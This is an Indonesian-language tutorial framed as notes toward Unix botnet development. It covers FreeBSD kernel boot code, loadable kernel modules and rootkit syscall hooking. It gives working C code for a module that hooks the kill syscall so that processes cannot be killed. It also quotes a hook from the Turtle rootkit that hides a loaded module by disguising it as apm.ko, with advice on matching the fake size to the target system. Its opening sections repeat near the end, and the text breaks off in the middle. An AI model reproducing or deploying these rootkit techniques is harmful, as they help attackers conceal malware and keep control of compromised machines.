by: ev1lut10n - Int-sec (Int Security) PreRelease
"a scrap of note of lkm module under unix botnet development"
[Permainan ke 1. Sekilas FREEBSD kernel init]
[esigcode]
ok kali ini akan kita bahas sekilas beberapa freebsd kernel init.
kita mulai dari sini:
============
[c0474817: e8 ac 00 00 00 call c04748c8 <esigcode>]
============
kita lihat pada alamat memori kernel c0474817 ada pemanggilan fungsi esigcode, mari kita lihat fungsi esigcode:
esigcode akan menentukan apakah akan menggunakan newboot atau olddiskboot
==================
c04748c8 <esigcode>:
c04748c8: 83 7d 04 00 cmpl $0x0,0x4(%ebp)
c04748cc: 74 7d je c047494b <olddiskboot>
c04748ce: 83 7d 18 00 cmpl $0x0,0x18(%ebp)
c04748d2: 74 01 je c04748d5 <newboot>
c04748d4: f4 hlt
===================
keterangan : 0x0 manandai bootable
pada alamat c04748c8 - cmpl $0x0,0x4(%ebp) - membandingkan nilai pada [ebp + 4 hexa] dengan 0x0 (cek apakah bootable)
jika match akan dijump ke alamat c047494b <olddiskboot>
<olddiskboot>
==========
c047494b <olddiskboot>:
c047494b: 8b 45 08 mov 0x8(%ebp),%eax
di sini nilai ebp+8 akan disimpan di eax
c047494e: a3 e0 6c df 00 mov %eax,0xdf6ce0
selanjutnya nilai dari eax akan disimpan di alamat memori 0xdf6ce0
c0474953: 8b 45 0c mov 0xc(%ebp),%eax
nilai pada [ebp+0xc] kemudian diisikan ke register eax
c0474956: a3 80 1b e6 00 mov %eax,0xe61b80
selanjutnya nilai eax akan disimpan di alamat memori 0xe61b80
c047495b: c3 ret
kembali lagi ke c04748ce
=============
c04748ce: 83 7d 18 00 cmpl $0x0,0x18(%ebp)
setelah operasi olddiskboot ebp+18 hexa apakah sudah 0x0 ??
c04748d2: 74 01 je c04748d5 <newboot>
jika ya maka lakukan newboot.
c04748d4: f4 hlt
jika tidak maka kernel melakukan hlt yang merupakan instruksi untuk menghentikan aktivitas cpu.
jika sukses maka kernel akan mulai melakukan booting dengan memasuki fungsi newboot.
[Permainan ke 2 . FreeBSD KLD]================================================
KLD (Dynamic Kernel Linker) merupakan istilah untuk fasilitas Loadable Kernel Module di FreeBSD, dengan fasilitas kld kita bisa meyisipkan kode2 kernel
pada kernel yang sedang berjalan secara on the fly.
Untuk menyisipkan suatu kernel object kita pakai perintah : "kldload" dan untuk unload kernel object kita pakai : "kldunload".
Dengan kldload kita bisa meload suatu kernel object ke dalam kernel dg menggunakan kernel linker.
daftar2 modul2 yang akan diload saat boot bisa dilihat di:
====================
/boot/defaults/loader.conf
====================
misal kita akan meload sound driver ke freebsd kernel kita:
=========
ev1lut10n# cat /boot/defaults/loader.conf | grep snd_driver
snd_driver_load="NO" # All sound drivers
=========

sebelum meload snd_driver :
===================
ev1lut10n# kldstat
Id Refs Address Size Name
1 9 0xc0400000 bd97b4 kernel
2 1 0xc63aa000 9000 i915.ko
3 1 0xc63b3000 14000 drm.ko
4 1 0xc70a0000 b000 ntfs.ko
===================
kemudian load snd_driver dengan kldload:
==========
ev1lut10n# kldload snd_driver
ev1lut10n# kldstat
Id Refs Address Size Name
1 82 0xc0400000 bd97b4 kernel
2 1 0xc63aa000 9000 i915.ko
3 1 0xc63b3000 14000 drm.ko
4 1 0xc70a0000 b000 ntfs.ko
63 1 0xc76b7000 2000 snd_driver.ko
64 1 0xc76bb000 5000 snd_vibes.ko
65 34 0xc76c0000 4c000 sound.ko
66 1 0xc7711000 4000 snd_via82c686.ko
67 1 0xc77c0000 7000 snd_via8233.ko
68 1 0xc77c7000 5000 snd_t4dwave.ko
69 3 0xc77cc000 3000 snd_spicds.ko
70 1 0xc77db000 5000 snd_solo.ko
71 4 0xc77e3000 4000 snd_sbc.ko
72 1 0xc77e7000 4000 snd_sb8.ko
73 1 0xc77eb000 4000 snd_sb16.ko
74 1 0xc77ef000 11000 snd_neomagic.ko
75 2 0xc7812000 a000 snd_mss.ko
76 1 0xc781e000 a000 snd_maestro3.ko
77 1 0xc7828000 8000 snd_maestro.ko
78 1 0xc7830000 6000 snd_ich.ko
79 1 0xc7853000 1a000 snd_hda.ko
80 1 0xc7879000 4000 snd_fm801.ko
81 1 0xc787d000 5000 snd_ess.ko
82 1 0xc7882000 8000 snd_es137x.ko
83 1 0xc7899000 7000 snd_envy24ht.ko
84 1 0xc78a0000 8000 snd_envy24.ko
85 1 0xc78a8000 12000 snd_emu10kx.ko
86 1 0xc78bc000 b000 snd_ds1.ko
87 2 0xc78c7000 7000 snd_csa.ko
88 1 0xc78d0000 5000 snd_cs4281.ko
89 1 0xc78d5000 5000 snd_cmi.ko
90 1 0xc78dc000 6000 snd_atiixp.ko
91 1 0xc78e2000 5000 snd_als4000.ko
92 1 0xc97bc000 4000 snd_ad1816.ko
ev1lut10n#
================
di atas kita bisa melihat semua kernel object yang berhubungan dengan snd_driver sudah berhasil diload secara on the fly.
untuk mengetahui path dari kernel module bisa kita cek dg sysctl kern.module_path
======
127# sysctl kern.module_path
kern.module_path: /boot/kernel;/boot/modules
======
di situ terlihat module ada di /boot/kernel dan /boot/modules
========
ev1lut10n# readelf -h /boot/kernel/snd_driver.ko
ELF Header:
Magic: 7f 45 4c 46 01 01 01 09 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - FreeBSD
ABI Version: 0
Type: DYN (Shared object file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x740
Start of program headers: 52 (bytes into file)
Start of section headers: 3624 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 3
Size of section headers: 40 (bytes)
Number of section headers: 18
Section header string table index: 15
==============
snd_driver.ko merupakan ELF 32-bit LSB shared object
tiap elf object selalu ditandai 16 magic bytes yang berbeda untuk masing2 objek
====
Magic: 7f 45 4c 46 01 01 01 09 00 00 00 00 00 00 00 00
====
Untuk lebih detail tentang elf objects akan sy bahas dalam tulisan lain (krn ga sesuai dg permainan kali ini).
[Permainan ke 3. Pembuatan FreeBSD LKM]================================================== ===============================
Selanjutnya kita akan mulai mencoba membuat suatu kernel object (.ko) yang kemudian akan kita load dengan kldload (ekstensi tidak musti harus .ko).
Untuk memudahkan kita akan pakai bahasa C , untuk contoh2 source code lkm di freebsd bisa dilihat di /usr/share/examples/kld.
Sebelum membuat agar tidak terjadi kebingungan harus dipahami bahwa kode2 yang berjalan di
kernel space berbeda dengan kode2 yang berjalan di userspace.
Misal pada suatu program di userspace akan bersifat paralel di mana instruksi program akan berjalan dari atas ke bawah.
Sedangkan pada suatu kernel kode programmer harus memperhitungkan setiap kemungkinan yang terjadi , tidak berpikir secara paralel karena masing 2 fungsi
pada suatu modul kernel bisa diakses oleh proses yang berbeda2.
Sebelum mulai akan kita bahas sedikit tentang anatomi suatu LKM di FreeBSD.
[Anatomi Suatu LKM pada FreeBSD]
pada setiap lkm di freebsd memiliki struktur kurang lebih sbb:
1. bagian header file yang akan diinclude
misal seperti ini:
=============
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
=============
2. bagian penganganan load dan unload event (module event handler)
misal seperti ini:
=======
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}
=======
"static int load_module(struct module *module, int cmd, void *arg)" merupakan fungsi untuk menangani event
bisa kita liat prototype fungsi ini di /usr/include/sys/module.h atau di /usr/src/sys/sys/module.h
==============
typedef int (*modeventhand_t)(module_t, int /* modeventtype_t */, void *);
==============
event 2 yang ditangani oleh fungsi ini bisa kita lihat di atas prototype:
==============
typedef enum modeventtype {
MOD_LOAD,
MOD_UNLOAD,
MOD_SHUTDOWN,
MOD_QUIESCE
} modeventtype_t;
============
- MOD_LOAD : saat module diload ke kernel
- MOD_UNLOAD : saat module diunload
- MOD_SHUTDOWN : saat module shut down
- MOD_QUIESCE : saat module dipause
3. bagian pemberi nama untuk modul
misal seperti ini:
==============================
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
==============================
bisa kita liat deklarasi struktur untuk data modul di /usr/include/sys/module.h atau di /usr/src/sys/sys/module.h
====================================
/*
* Struct for registering modules statically via SYSINIT.
*/
typedef struct moduledata {
const char *name; /* module name */
modeventhand_t evhand; /* event handler */
void *priv; /* extra data */
} moduledata_t;
======================================
4. bagian deklarasi modul
makro untuk deklarasi modul bisa dilihat di /usr/src/sysent.h:
==============
DECLARE_MODULE(name, name##_mod, SI_SUB_SYSCALLS, SI_ORDER_MIDDLE)
==============
misal seperti ini:
===========================
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
===========================
terakhir menggunakan makro DECLARE_MODULE untuk meregister dan melink modul kita ke kernel.
ok kurang lebih bentuk lengkapnya:
nama file :"ev1lut10n.c"
=======================
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/linker.h>
#include <sys/libkern.h>
#include <sys/dirent.h>
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
==========================
simpan dengan nama ev1lut10n.c lalu siapkan Makefile dg isi sbb:
==============
KMOD= ev1lut10n
SRCS= ev1lut10n.c
.include <bsd.kmod.mk>
==============
selanjutnya make:
========
127# make
Warning: Object directory not changed from original /root/Desktop/artikel/kernel
cc -O2 -pipe -fno-strict-aliasing -Werror -D_KERNEL -DKLD_MODULE -nostdinc -I. -I@ -I@/contrib/altq -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -fno-common -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -mno-sse3 -ffreestanding -fstack-protector -std=iso9899:1999 -fstack-protector -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointer-sign -fformat-extensions -c ev1lut10n.c
ld -d -warn-common -r -d -o ev1lut10n.kld ev1lut10n.o
:> export_syms
awk -f /sys/conf/kmod_syms.awk ev1lut10n.kld export_syms | xargs -J% objcopy % ev1lut10n.kld
ld -Bshareable -d -warn-common -o ev1lut10n.ko ev1lut10n.kld
objcopy --strip-debug ev1lut10n.ko
=========
uji coba:
=============
127# kldload ./ev1lut10n.ko
modul diload
=============
cek dengan kldstat:
==================
127# kldstat
Id Refs Address Size Name
1 84 0xc0400000 bd97b4 kernel
2 1 0xc63ac000 9000 i915.ko
3 1 0xc63b5000 14000 drm.ko
4 1 0xc7119000 b000 ntfs.ko
5 1 0xcbcfc000 2000 snd_driver.ko
6 1 0xcbcfe000 5000 snd_vibes.ko
7 34 0xcbd12000 4c000 sound.ko
8 1 0xcbd5e000 4000 snd_via82c686.ko
9 1 0xcbd62000 7000 snd_via8233.ko
10 1 0xcbd69000 5000 snd_t4dwave.ko
11 3 0xcbd6e000 3000 snd_spicds.ko
12 1 0xcbd71000 5000 snd_solo.ko
13 4 0xcbd76000 4000 snd_sbc.ko
14 1 0xcbd7a000 4000 snd_sb8.ko
15 1 0xcbd80000 4000 snd_sb16.ko
16 1 0xcbd84000 11000 snd_neomagic.ko
17 2 0xcbd95000 a000 snd_mss.ko
18 1 0xcbda3000 a000 snd_maestro3.ko
19 1 0xcbdad000 8000 snd_maestro.ko
20 1 0xcbdb5000 6000 snd_ich.ko
21 1 0xcbdbb000 1a000 snd_hda.ko
22 1 0xcbe6f000 4000 snd_fm801.ko
23 1 0xcbe73000 5000 snd_ess.ko
24 1 0xcbe78000 8000 snd_es137x.ko
25 1 0xcbe80000 7000 snd_envy24ht.ko
26 1 0xcbe87000 8000 snd_envy24.ko
27 1 0xcbe9e000 12000 snd_emu10kx.ko
28 1 0xcbeb0000 b000 snd_ds1.ko
29 2 0xcbe93000 7000 snd_csa.ko
30 1 0xcbebb000 5000 snd_cs4281.ko
31 1 0xcbed1000 5000 snd_cmi.ko
32 1 0xcbed6000 6000 snd_atiixp.ko
33 1 0xcbedc000 5000 snd_als4000.ko
34 1 0xcbee2000 4000 snd_ad1816.ko
35 1 0xcbeef000 2000 ev1lut10n.ko ------------------------------- modul ev1lut10n telah diload
127#
================
dan saat diunload:
=========
127# kldunload ev1lut10n.ko
modul diunload
==========
[Permainan ke 4. Teknik pada FreeBSD LKM Rootkit - Teknik Hooking]
Teknik hooking merupakan teknik yang banyak dipakai oleh para pembuat rootkit, Hooking merupakan teknik yang bertujuan untuk mengubah flow
dari suatu sistem operasi / software / API / library / Netfilter dsb.
[Teknik Syscall Hooking]
teknik ini banyak dipakai pada lkm rootkit. syscall merupakan mekanisme suatu program di userspace untuk meminta layanan dari kernel space.
Teknik ini bertujuan memodifikasi suatu syscall entry point. Nomor2 syscall secara semantik didefinisikan di /usr/include/sys/syscall.h
prototype fungsi untuk syscall :
/usr/include/sys/sysent.h
===========
typedef int sy_call_t(struct thread *, void *);
===========
FreeBSD mendefinisikan entri point syscall pada suatu struktur bernama "sysent"
/usr/src/sys/sysent.h
===============
* $FreeBSD: src/sys/sys/sysent.h,v 1.60.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
};
=============
selanjutnya didefenisikan suatu array dari struktur di file /usr/src/sys/kern/init_sysent.c
/usr/src/sys/kern/init_sysent.c
================
/*
* System call switch table.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/kern/init_sysent.c,v 1.253.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.master 212545 2010-09-13 08:49:08Z kib
*/
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys, AUE_NULL, NULL, 0, 0, 0 }, /* 0 = syscall */
{ AS(sys_exit_args), (sy_call_t *)sys_exit, AUE_EXIT, NULL, 0, 0, 0 }, /* 1 = exit */
{ 0, (sy_call_t *)fork, AUE_FORK, NULL, 0, 0, 0 }, /* 2 = fork */
{ AS(read_args), (sy_call_t *)read, AUE_NULL, NULL, 0, 0, 0 }, /* 3 = read */
{ AS(write_args), (sy_call_t *)write, AUE_NULL, NULL, 0, 0, 0 }, /* 4 = write */
{ AS(open_args), (sy_call_t *)open, AUE_OPEN_RWTC, NULL, 0, 0, 0 }, /* 5 = open */
=======================snipped (dipotong krn terlalu panjang)===========================
{ AS(setuid_args), (sy_call_t *)setuid, AUE_SETUID, NULL, 0, 0, 0 }, /* 23 = setuid */
{ 0, (sy_call_t *)getuid, AUE_GETUID, NULL, 0, 0, 0 }, /* 24 = getuid */
{ 0, (sy_call_t *)geteuid, AUE_GETEUID, NULL, 0, 0, 0 }, /* 25 = geteuid */
{ AS(ptrace_args), (sy_call_t *)ptrace, AUE_PTRACE, NULL, 0, 0, 0 }, /* 26 = ptrace */
{ AS(recvmsg_args), (sy_call_t *)recvmsg, AUE_RECVMSG, NULL, 0, 0, 0 }, /* 27 = recvmsg */
{ AS(sendmsg_args), (sy_call_t *)sendmsg, AUE_SENDMSG, NULL, 0, 0, 0 }, /* 28 = sendmsg */
{ AS(recvfrom_args), (sy_call_t *)recvfrom, AUE_RECVFROM, NULL, 0, 0, 0 }, /* 29 = recvfrom */
{ 0, (sy_call_t *)pipe, AUE_PIPE, NULL, 0, 0, 0 }, /* 42 = pipe */
{ 0, (sy_call_t *)getegid, AUE_GETEGID, NULL, 0, 0, 0 }, /* 43 = getegid */
{ AS(pselect_args), (sy_call_t *)pselect, AUE_SELECT, NULL, 0, 0, 0 }, /* 522 = pselect */
};
=======================================
kita bisa melihat bahwa tabel sycall di FreeBSD merupakan array dari struktur yang didefinisikan di
/usr/src/sys/kern/init_sysent.c
untuk semantik nomor2 syscall didefinisikan di /usr/src/sys/sys/syscall.h:
===================
/*
* System call numbers.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/sys/syscall.h,v 1.233.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.master 212545 2010-09-13 08:49:08Z kib
*/
#define SYS_syscall 0
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
cutted..................
==================
untuk mempermudah akan saya berikan contoh fungsi hooking syscall yang paling pendek dan simple.
pada dasarnya tiap syscall bisa dihook dengan fungsi pendek seperti ini:
============
static int nama_fungi_hooking(struct thread *td, void *syscall_args)
{
int error;
error=0;
return(error);
}
=============
yang mana pada saat modul diload kita registerkan ke struktur array sysent
tekniknya kurang lebih seperti ini:
==============
case MOD_LOAD:
sysent[SYS_nama_syscall_yang_akan_dihook].sy_call = (sy_call_t *)nama_fungsi_hooking;
===================
saat modul diunload struktur bisa kita kembalikan seperti semula dengan syscall asli.
=========================
case MOD_UNLOAD:
sysent[SYS_nama_syscall_yang_akan_dihook].sy_call = (sy_call_t *)syscall_asli;
==============
ok untuk lebih jelasnya perhatikan contoh simple kill hook lkm yang bertujuan untuk
melakukan hooking syscall SYS_kill:
(di ini kita tambahkan 3 header lagi yaitu:
/usr/include/sys/module.h
/usr/include/sys/sysent.h
/usr/include/sys/syscall.h)
file name: kill_hook.c
=============================
/**ev1lut10n simple kill hook lkm
c0d3r: ev1lut10n
**/
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/syscall.h>
static int kill_hook(struct thread *td, void *syscall_args)
{
int error;
error=0;
return(error);
}
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
sysent[SYS_kill].sy_call = (sy_call_t *)kill_hook;
break;
case MOD_UNLOAD:
uprintf("modul diunload");
sysent[SYS_kill].sy_call = (sy_call_t *)kill;
break;
}
return error;
}
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
==============================
siapkan Makefile dengan menginclude bsd.kmod.mk
==========
KMOD= read_hook
SRCS= read_hook.c
.include <bsd.kmod.mk>
========
selanjutnya lakukan uji coba:
===================
ev1lut10n# kldload ./kill_hook.ko
modul diload
ev1lut10n# ps aux | tail
root 1345 0.0 0.1 3352 1124 v2 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv2
root 1346 0.0 0.1 3352 1124 v3 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv3
root 1347 0.0 0.1 3352 1124 v4 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv4
root 1348 0.0 0.1 3352 1124 v5 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv5
root 1349 0.0 0.1 3352 1124 v6 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv6
root 1350 0.0 0.1 3352 1124 v7 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv7
root 1540 0.0 0.1 4632 2488 0 Is+ 2:20AM 0:00.03 csh
root 1675 0.0 0.1 4632 2504 2 Ds 2:48AM 0:00.04 csh
root 2110 0.0 0.1 3432 1236 2 R+ 3:23AM 0:00.00 ps aux
root 2111 0.0 0.1 4632 2504 2 DV+ 3:23AM 0:00.00 csh
ev1lut10n# kill -9 1675
ev1lut10n# ps aux | tail
root 1345 0.0 0.1 3352 1124 v2 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv2
root 1346 0.0 0.1 3352 1124 v3 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv3
root 1347 0.0 0.1 3352 1124 v4 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv4
root 1348 0.0 0.1 3352 1124 v5 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv5
root 1349 0.0 0.1 3352 1124 v6 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv6
root 1350 0.0 0.1 3352 1124 v7 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv7
root 1540 0.0 0.1 4632 2488 0 Is+ 2:20AM 0:00.03 csh
root 1675 0.0 0.1 4632 2504 2 Ss 2:48AM 0:00.04 csh
root 2112 0.0 0.1 3432 1236 2 R+ 3:23AM 0:00.00 ps aux
root 2113 0.0 0.0 3292 836 2 S+ 3:23AM 0:00.00 tail
ev1lut10n#
=======================

kita bisa lihat uji coba kill pid 1675 tidak bisa dilakukan karena syscall kill telah dihook dengan
fungi kill_hook (dengan prototype syscall) yang telah kita siapkan dan kita sisipkan saat MOD_LOAD:
==========
sysent[SYS_kill].sy_call = (sy_call_t *)kill_hook;
=========
contoh selanjutnya misal hooking syscall SYS_kldstat :
======
#define SYS_kldstat 308
======
maka untuk melakukan hooking dengan meregisterkan fungsi hooking kita pada struktur sysent :
=================
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
=================
di mana kldstat_hook:
================================================== ==============
/* potongan kode ini merupakan potongan kode hooking kldstat pada turtle freebsd rootkit
by WarGame/EOF - wargame89@yahoo.it */
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */
{
int ret = kldstat(td,args);
size_t fake_size = 24264; /* the size of apm.ko on my system */
if(strcmp(args->stat->name,MOD_NAME) == 0)
{
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
#if VERBOSE
printf("Turtle2: blocking kldstat()\n");
#endif
}
return ret;
}
================================================== ===============
untuk melakukan kldstat hooking kita bisa melihat penggunaan prototype untuk syscall:
prototype fungsi untuk syscall :
/usr/include/sys/sysent.h
===========
typedef int sy_call_t(struct thread *, void *);
===========
yaitu:
=====================
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */s
=====================
di ini menggunakan static agar prototype fungi kldstat_hook dengan nilai kembali int bisa dikenali saat
melakukan regiter ke struktur sysent di modul event handler:
perhatikan saat MOD_LOAD event:
==========
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
===========
selanjutnya di sini kita lihat :
==================
int ret = kldstat(td,args);
==================
yang digunakan untuk menangani request SYS_kldstat yang berasal dari userspace.
yang diikuti dengan
=============================
size_t fake_size = 24264;
=============================
size_t merupakan ukuran suatu objek (variabel / aray / dll) di memori di mana ukuran apm.ko didefinisikan berukuran
24264 (dalam byte) merupakan ukuran file apm.ko yang harus diseuaikan di tiap sistem.
jadi alangkah baiknya jika disesuaikan dengan ukuran file apm.ko di target.
=================
ev1lut10n# ls -lah /boot/kernel/apm.ko
-r-xr-xr-x 1 root wheel 24K Feb 18 2011 /boot/kernel/apm.ko
ev1lut10n#
===================
untuk menyesuaikan bisa menggunakan suatu program userspace dengan logika:
=============
1. mencatat ukuran apm.ko di sistem target
2. mereplace ukuran apm.ko (24264 bytes) pada source code lkm yang belum diinstall
3. selanjutnya baru melakukan kompilasi untuk menciptakan .ko (dengan menginclude bsd.kmod.mk)
4. selanjutnya tinggal pemasangan lkm dengan kldload
=============
============
if(strcmp(args->stat->name,MOD_NAME) == 0)
=================
selanjutnya membandingkan args->stat->name dengan MOD_NAME jika match maka dilakukan copyout
=======================================
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
=======================================
penggunaan "copyout" yang berguna untuk mengkopi data dari kernel space
ke userspace, akan ditampilkan sebagai apm.ko (/boot/kernel/apm.ko) pada saat syscall SYS_kldstat pada tool kldstat.
perhatikan gambar di bawah ini:

untuk mencoba pada syscall2 lain bisa Anda lihat daftar syscall pada:
======
/usr/include/sys/syscall.h
======
teknik di atas hanyalah salah satu teknik untuk memblok kldstat, kita masih bisa menggunakan teknik lain.
"a scrap of note of lkm module under unix botnet development"
[Permainan ke 1. Sekilas FREEBSD kernel init]
[esigcode]
ok kali ini akan kita bahas sekilas beberapa freebsd kernel init.
kita mulai dari sini:
============
[c0474817: e8 ac 00 00 00 call c04748c8 <esigcode>]
============
kita lihat pada alamat memori kernel c0474817 ada pemanggilan fungsi esigcode, mari kita lihat fungsi esigcode:
esigcode akan menentukan apakah akan menggunakan newboot atau olddiskboot
==================
c04748c8 <esigcode>:
c04748c8: 83 7d 04 00 cmpl $0x0,0x4(%ebp)
c04748cc: 74 7d je c047494b <olddiskboot>
c04748ce: 83 7d 18 00 cmpl $0x0,0x18(%ebp)
c04748d2: 74 01 je c04748d5 <newboot>
c04748d4: f4 hlt
===================
keterangan : 0x0 manandai bootable
pada alamat c04748c8 - cmpl $0x0,0x4(%ebp) - membandingkan nilai pada [ebp + 4 hexa] dengan 0x0 (cek apakah bootable)
jika match akan dijump ke alamat c047494b <olddiskboot>
<olddiskboot>
==========
c047494b <olddiskboot>:
c047494b: 8b 45 08 mov 0x8(%ebp),%eax
di sini nilai ebp+8 akan disimpan di eax
c047494e: a3 e0 6c df 00 mov %eax,0xdf6ce0
selanjutnya nilai dari eax akan disimpan di alamat memori 0xdf6ce0
c0474953: 8b 45 0c mov 0xc(%ebp),%eax
nilai pada [ebp+0xc] kemudian diisikan ke register eax
c0474956: a3 80 1b e6 00 mov %eax,0xe61b80
selanjutnya nilai eax akan disimpan di alamat memori 0xe61b80
c047495b: c3 ret
kembali lagi ke c04748ce
=============
c04748ce: 83 7d 18 00 cmpl $0x0,0x18(%ebp)
setelah operasi olddiskboot ebp+18 hexa apakah sudah 0x0 ??
c04748d2: 74 01 je c04748d5 <newboot>
jika ya maka lakukan newboot.
c04748d4: f4 hlt
jika tidak maka kernel melakukan hlt yang merupakan instruksi untuk menghentikan aktivitas cpu.
jika sukses maka kernel akan mulai melakukan booting dengan memasuki fungsi newboot.
[Permainan ke 2 . FreeBSD KLD]================================================
KLD (Dynamic Kernel Linker) merupakan istilah untuk fasilitas Loadable Kernel Module di FreeBSD, dengan fasilitas kld kita bisa meyisipkan kode2 kernel
pada kernel yang sedang berjalan secara on the fly.
Untuk menyisipkan suatu kernel object kita pakai perintah : "kldload" dan untuk unload kernel object kita pakai : "kldunload".
Dengan kldload kita bisa meload suatu kernel object ke dalam kernel dg menggunakan kernel linker.
daftar2 modul2 yang akan diload saat boot bisa dilihat di:
====================
/boot/defaults/loader.conf
====================
misal kita akan meload sound driver ke freebsd kernel kita:
=========
ev1lut10n# cat /boot/defaults/loader.conf | grep snd_driver
snd_driver_load="NO" # All sound drivers
=========

sebelum meload snd_driver :
===================
ev1lut10n# kldstat
Id Refs Address Size Name
1 9 0xc0400000 bd97b4 kernel
2 1 0xc63aa000 9000 i915.ko
3 1 0xc63b3000 14000 drm.ko
4 1 0xc70a0000 b000 ntfs.ko
===================
kemudian load snd_driver dengan kldload:
==========
ev1lut10n# kldload snd_driver
ev1lut10n# kldstat
Id Refs Address Size Name
1 82 0xc0400000 bd97b4 kernel
2 1 0xc63aa000 9000 i915.ko
3 1 0xc63b3000 14000 drm.ko
4 1 0xc70a0000 b000 ntfs.ko
63 1 0xc76b7000 2000 snd_driver.ko
64 1 0xc76bb000 5000 snd_vibes.ko
65 34 0xc76c0000 4c000 sound.ko
66 1 0xc7711000 4000 snd_via82c686.ko
67 1 0xc77c0000 7000 snd_via8233.ko
68 1 0xc77c7000 5000 snd_t4dwave.ko
69 3 0xc77cc000 3000 snd_spicds.ko
70 1 0xc77db000 5000 snd_solo.ko
71 4 0xc77e3000 4000 snd_sbc.ko
72 1 0xc77e7000 4000 snd_sb8.ko
73 1 0xc77eb000 4000 snd_sb16.ko
74 1 0xc77ef000 11000 snd_neomagic.ko
75 2 0xc7812000 a000 snd_mss.ko
76 1 0xc781e000 a000 snd_maestro3.ko
77 1 0xc7828000 8000 snd_maestro.ko
78 1 0xc7830000 6000 snd_ich.ko
79 1 0xc7853000 1a000 snd_hda.ko
80 1 0xc7879000 4000 snd_fm801.ko
81 1 0xc787d000 5000 snd_ess.ko
82 1 0xc7882000 8000 snd_es137x.ko
83 1 0xc7899000 7000 snd_envy24ht.ko
84 1 0xc78a0000 8000 snd_envy24.ko
85 1 0xc78a8000 12000 snd_emu10kx.ko
86 1 0xc78bc000 b000 snd_ds1.ko
87 2 0xc78c7000 7000 snd_csa.ko
88 1 0xc78d0000 5000 snd_cs4281.ko
89 1 0xc78d5000 5000 snd_cmi.ko
90 1 0xc78dc000 6000 snd_atiixp.ko
91 1 0xc78e2000 5000 snd_als4000.ko
92 1 0xc97bc000 4000 snd_ad1816.ko
ev1lut10n#
================
di atas kita bisa melihat semua kernel object yang berhubungan dengan snd_driver sudah berhasil diload secara on the fly.
untuk mengetahui path dari kernel module bisa kita cek dg sysctl kern.module_path
======
127# sysctl kern.module_path
kern.module_path: /boot/kernel;/boot/modules
======
di situ terlihat module ada di /boot/kernel dan /boot/modules
========
ev1lut10n# readelf -h /boot/kernel/snd_driver.ko
ELF Header:
Magic: 7f 45 4c 46 01 01 01 09 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
